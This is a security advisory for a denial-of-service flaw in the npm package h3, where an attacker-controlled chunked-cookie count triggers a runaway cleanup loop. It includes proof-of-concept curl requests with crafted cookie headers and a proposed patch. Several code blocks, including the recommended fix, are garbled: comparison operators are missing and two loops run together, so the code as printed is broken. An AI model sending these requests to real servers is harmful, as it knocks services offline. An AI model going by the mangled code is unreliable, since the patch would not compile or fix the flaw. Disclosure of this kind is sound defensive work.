GitHub Advisoryadvisory · npm
GHSA-q5pr-72pq-83v3 H3: Unbounded Chunked Cookie Count in Session Cleanup Loop may Lead to Denial of Service
MEDIUM
Official page ↗
- Aliases
- CVE-2026-86250
- Ecosystem
- npm
- Packages
- h3
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
- Weaknesses
- CWE-400
- Reviewed
- 2026-03-23
Affected packages
• npm h3: >= 2.0.0-beta.4, < 2.0.1-rc.18 → fixed in 2.0.1-rc.18
Description
Summary
The `setChunkedCookie()` and `deleteChunkedCookie()` functions in h3 trust the chunk count parsed from a user-controlled cookie value (`__chunked__N`) without any upper bound validation. An unauthenticated attacker can send a single request with a crafted cookie header (e.g., `Cookie: h3=__chunked__999999`) to any endpoint using sessions, causing the server to enter an O(n²) loop that hangs the process.
Details
The chunked cookie system stores large cookie values by splitting them into numbered chunks. The main cookie stores a sentinel value `__chunked__N` indicating how many chunks exist. When setting a new chunked cookie, the code cleans up any previous chunks that are no longer needed.
The vulnerability is in `getChunkedCookieCount()` at `src/utils/cookie.ts:244-249`:
```typescript
function getChunkedCookieCount(cookie: string | undefined): number {
if (!cookie?.startsWith(CHUNKED_COOKIE)) {
return Number.NaN;
}
return Number.parseInt(cookie.slice(CHUNKED_COOKIE.length));
// No upper bound check — attacker controls this value
}
```
This value is consumed without validation in the cleanup loop of `setChunkedCookie()` at `src/utils/cookie.ts:182-190`:
```typescript
const previousCookie = getCookie(event, name); // reads from request headers
if (previousCookie?.startsWith(CHUNKED_COOKIE)) {
const previousChunkCount = getChunkedCookieCount(previousCookie);
if (previousChunkCount > chunkCount) {
for (let i = chunkCount; i = 0) {
for (let i = 0; i {
const session = await getSession(event, {
password: "my-secret-password-at-least-32-chars-long!",
});
return { user: session.data.user || "anonymous" };
});
export default app;
```
Attack (single request, no authentication):
```bash
This single request will hang the server process
curl -H 'Cookie: h3=__chunked__999999' http://localhost:3000/dashboard
```
For a less extreme but still impactful test:
```bash
~100K iterations — will take several seconds and block all other requests
curl -H 'Cookie: h3=__chunked__100000' http://localhost:3000/dashboard
```
The `deleteChunkedCookie()` path is exploitable via `clearSession()`:
```typescript
app.post("/logout", async (event) => {
await clearSession(event, {
password: "my-secret-password-at-least-32-chars-long!",
});
return { ok: true };
});
```
```bash
curl -X POST -H 'Cookie: h3=__chunked__999999' http://localhost:3000/logout
```
Impact
• Complete Denial of Service: A single unauthenticated request with a 27-byte cookie header can hang the server process indefinitely. Node.js is single-threaded, so this blocks all request handling.
• No authentication required: The attack only requires the ability to send HTTP requests with a crafted cookie header.
• Minimal attacker effort: The payload is trivially small (`Cookie: h3=__chunked__999999`), making it easy to automate or repeat.
• Wide attack surface: Any endpoint in the application that uses `getSession()`, `useSession()`, or `clearSession()` is vulnerable. Session usage is extremely common in web applications.
• Amplification: The ratio of attacker input (27 bytes) to server work (billions of operations) is extreme.
Recommended Fix
Add a maximum chunk count constant and validate in `getChunkedCookieCount()`:
```typescript
const MAX_CHUNKED_COOKIE_COUNT = 100;
function getChunkedCookieCount(cookie: string | undefined): number {
if (!cookie?.startsWith(CHUNKED_COOKIE)) {
return Number.NaN;
}
const count = Number.parseInt(cookie.slice(CHUNKED_COOKIE.length));
if (Number.isNaN(count) || count MAX_CHUNKED_COOKIE_COUNT) {
return Number.NaN;
}
return count;
}
```
This clamps the parsed count at a safe maximum. Since each chunk can hold ~4000 bytes and 100 chunks would allow ~400KB of cookie data (far beyond any practical limit), `MAX_CHUNKED_COOKIE_COUNT = 100` is generous while eliminating the DoS vector.
Additionally, the callers should be updated to handle `NaN` safely. The cleanup loop in `setChunkedCookie()` already handles this correctly since `NaN > chunkCount` is false, so the loop won't execute. The `deleteChunkedCookie()` loop also handles it since `NaN >= 0` is false.
Related
Alias · CVE (1)
- CVE-2026-86250 h3 versions before 2.0.1-rc.18 fail to validate the chunk count parsed from user-controlled cookie values in setChunkedCookie() and… vulnerability
Weakness · CWE (1)
- CWE-400 Uncontrolled Resource Consumption weakness
References
- https://github.com/h3js/h3/security/advisories/GHSA-q5pr-72pq-83v3 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-86250 advisory
- https://github.com/h3js/h3/commit/399257cb406fbeda313d88c1e288a15124fc82af web
- https://github.com/h3js/h3 package
- https://github.com/h3js/h3/releases/tag/v2.0.1-rc.18 web
- https://www.vulncheck.com/advisories/h3-before-2.0.1-rc.18-denial-of-service-via-unbounded-chunked-cookie web